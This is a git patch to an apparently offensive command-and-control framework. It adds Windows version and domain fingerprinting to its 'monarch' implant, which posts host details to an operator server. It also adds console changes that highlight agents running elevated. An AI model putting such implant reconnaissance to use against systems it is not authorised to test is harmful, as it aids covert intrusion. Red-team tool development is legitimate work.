From 71336a6fa721b76321e2daa97a4e567e8b206424 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Wed, 21 May 2025 14:06:04 +0200 Subject: [PATCH] Implemented Windows Version fingerprinting --- agents/monarch/agentinfo.nim | 76 +++++++++++++++++++++++++++++------- agents/monarch/http.nim | 4 +- agents/monarch/types.nim | 23 +++++++++++ agents/monarch/utils.nim | 65 ++++++++++++++++++++++++++++++ server/agent/agent.nim | 2 +- server/agent/interact.nim | 4 +- server/globals.nim | 4 +- server/utils.nim | 9 ++++- 8 files changed, 161 insertions(+), 26 deletions(-) create mode 100644 agents/monarch/utils.nim diff --git a/agents/monarch/agentinfo.nim b/agents/monarch/agentinfo.nim index 93adae8..01004d6 100644 --- a/agents/monarch/agentinfo.nim +++ b/agents/monarch/agentinfo.nim @@ -1,16 +1,6 @@ -import winim, os, net +import winim, os, net, strformat, strutils, registry -import ./types - -# Username -proc getUsername*(): string = - const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format) - var - buffer = newWString(UNLEN + 1) - dwSize = DWORD buffer.len - - GetUserNameExW(NameSamCompatible, &buffer, &dwSize) - return $buffer[0 ..< int(dwSize)] +import ./[types, utils] # Hostname/Computername proc getHostname*(): string = @@ -31,6 +21,22 @@ proc getDomain*(): string = GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize) return $buffer[ 0 ..< int(dwSize)] +# Username +proc getUsername*(): string = + const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format) + + var + buffer = newWString(UNLEN + 1) + dwSize = DWORD buffer.len + + if getDomain() != "": + # If domain-joined, return username in format DOMAIN\USERNAME + GetUserNameExW(NameSamCompatible, &buffer, &dwSize) + else: + # If not domain-joined, only return USERNAME + discard GetUsernameW(&buffer, &dwSize) + + return $buffer[0 ..< int(dwSize)] # Current process name proc getProcessExe*(): string = @@ -42,7 +48,8 @@ proc getProcessExe*(): string = if hProcess != 0: if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH): # .extractFilename() from the 'os' module gets the name of the executable from the full process path - return string($buffer).extractFilename() + # We replace trailing NULL bytes to prevent them from being sent as JSON data + return string($buffer).extractFilename().replace("\u0000", "") finally: CloseHandle(hProcess) @@ -60,6 +67,45 @@ proc getIPv4Address*(): string = # getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent return $getPrimaryIpAddr() -# Windows Version +# Windows Version fingerprinting +proc getProductType(): ProductType = + # Instead, we retrieve the product key from the registry + # HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions + # ProductType REG_SZ WinNT + # Possible values are: + # LanmanNT -> Server/Domain Controller + # ServerNT -> Server + # WinNT -> Workstation + + # Using the 'registry' module, we can get the exact registry value + case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE) + of "WinNT": + return WORKSTATION + of "ServerNT": + return SERVER + of "LanmanNT": + return DC + proc getOSVersion*(): string = - discard \ No newline at end of file + + proc rtlGetVersion(lpVersionInformation: var types.OSVersionInfoExW): NTSTATUS + {.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".} + + when defined(windows): + var osInfo: types.OSVersionInfoExW + discard rtlGetVersion(osInfo) + # echo $int(osInfo.dwMajorVersion) + # echo $int(osInfo.dwMinorVersion) + # echo $int(osInfo.dwBuildNumber) + + # RtlGetVersion does not actually set the Product Type, which is required to differentiate + # between workstation and server systems. The value is set to 0, which would lead to all systems being "unknown" + # Normally, a value of 1 indicates a workstation os, while other values represent servers + # echo $int(osInfo.wProductType).toHex + + # We instead retrieve the + return getWindowsVersion(osInfo, getProductType()) + else: + return "Unknown" + + \ No newline at end of file diff --git a/agents/monarch/http.nim b/agents/monarch/http.nim index b9ef992..516efaa 100644 --- a/agents/monarch/http.nim +++ b/agents/monarch/http.nim @@ -20,13 +20,11 @@ proc register*(listener: string): string = "pid": getProcessId(), "elevated": isElevated() } - echo $body try: # Register agent to the Conquest server - let responseBody = waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body) - return responseBody + return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body) except HttpRequestError as err: echo "Registration failed" quit(0) diff --git a/agents/monarch/types.nim b/agents/monarch/types.nim index dfd26e8..13b7379 100644 --- a/agents/monarch/types.nim +++ b/agents/monarch/types.nim @@ -23,3 +23,26 @@ type args*: seq[string] result*: TaskResult status*: TaskStatus + +type + ProductType* = enum + UNKNOWN = 0 + WORKSTATION = 1 + DC = 2 + SERVER = 3 + + +# API Structs +type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "".} = object + dwOSVersionInfoSize*: ULONG + dwMajorVersion*: ULONG + dwMinorVersion*: ULONG + dwBuildNumber*: ULONG + dwPlatformId*: ULONG + szCSDVersion*: array[128, WCHAR] + wServicePackMajor*: USHORT + wServicePackMinor*: USHORT + wSuiteMask*: USHORT + wProductType*: UCHAR + wReserved*: UCHAR + diff --git a/agents/monarch/utils.nim b/agents/monarch/utils.nim new file mode 100644 index 0000000..47f3837 --- /dev/null +++ b/agents/monarch/utils.nim @@ -0,0 +1,65 @@ +import strformat +import ./types + +proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string = + let + major = info.dwMajorVersion + minor = info.dwMinorVersion + build = info.dwBuildNumber + spMajor = info.wServicePackMajor + + if major == 10 and minor == 0: + if productType == WORKSTATION: + if build >= 22000: + return "Windows 11" + else: + return "Windows 10" + + else: + case build: + of 20348: + return "Windows Server 2022" + of 17763: + return "Windows Server 2019" + of 14393: + return "Windows Server 2016" + else: + return fmt"Windows Server 10.x (Build: {build})" + + elif major == 6: + case minor: + of 3: + if productType == WORKSTATION: + return "Windows 8.1" + else: + return "Windows Server 2012 R2" + of 2: + if productType == WORKSTATION: + return "Windows 8" + else: + return "Windows Server 2012" + of 1: + if productType == WORKSTATION: + return "Windows 7" + else: + return "Windows Server 2008 R2" + of 0: + if productType == WORKSTATION: + return "Windows Vista" + else: + return "Windows Server 2008" + else: + discard + + elif major == 5: + if minor == 2: + if productType == WORKSTATION: + return "Windows XP x64 Edition" + else: + return "Windows Server 2003" + elif minor == 1: + return "Windows XP" + else: + discard + + return "Unknown Windows Version" \ No newline at end of file diff --git a/server/agent/agent.nim b/server/agent/agent.nim index fcaea06..336f9e8 100644 --- a/server/agent/agent.nim +++ b/server/agent/agent.nim @@ -101,7 +101,7 @@ proc agentInteract*(cq: Conquest, name: string) = cq.writeLine(fgYellow, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, agent.name, resetStyle, ". Type 'help' to list available commands.\n") cq.interactAgent = agent - while command != "exit": + while command != "back": command = cq.readLine() cq.withOutput(handleAgentCommand, command) diff --git a/server/agent/interact.nim b/server/agent/interact.nim index 3e26070..2f3b83c 100644 --- a/server/agent/interact.nim +++ b/server/agent/interact.nim @@ -13,7 +13,7 @@ var parser = newParser: command("help"): nohelpflag() - command("exit"): + command("back"): nohelpflag() proc handleAgentCommand*(cq: Conquest, args: varargs[string]) = @@ -29,7 +29,7 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) = case opts.command - of "exit": # Exit program + of "back": # Return to management mode discard of "help": # Display help menu diff --git a/server/globals.nim b/server/globals.nim index dd7fa70..26cf58d 100644 --- a/server/globals.nim +++ b/server/globals.nim @@ -5,7 +5,5 @@ var cq*: Conquest # Colors # https://colors.sh/ -# TODO Replace all colored output with custom colors -const yellow* = "\e[48;5;232m" +const red* = "\e[210;66;79m" const resetColor* = "\e[0m" - diff --git a/server/utils.nim b/server/utils.nim index 487674c..25d19f1 100644 --- a/server/utils.nim +++ b/server/utils.nim @@ -75,9 +75,14 @@ proc drawTable*(cq: Conquest, agents: seq[Agent]) = cq.writeLine(row(headers, widths)) cq.writeLine(border(midLeft, midMid, midRight, widths)) - # TODO: Highlight elevated processes for a in agents: let row = @[a.name, a.ip, a.username, a.hostname, a.os, a.process, $a.pid] - cq.writeLine(row(row, widths)) + + # Highlight agents running within elevated processes + if a.elevated: + cq.writeLine(bgRed, fgBlack, row(row, widths)) + else: + cq.writeLine(row(row, widths)) + cq.writeLine(border(botLeft, botMid, botRight, widths)) \ No newline at end of file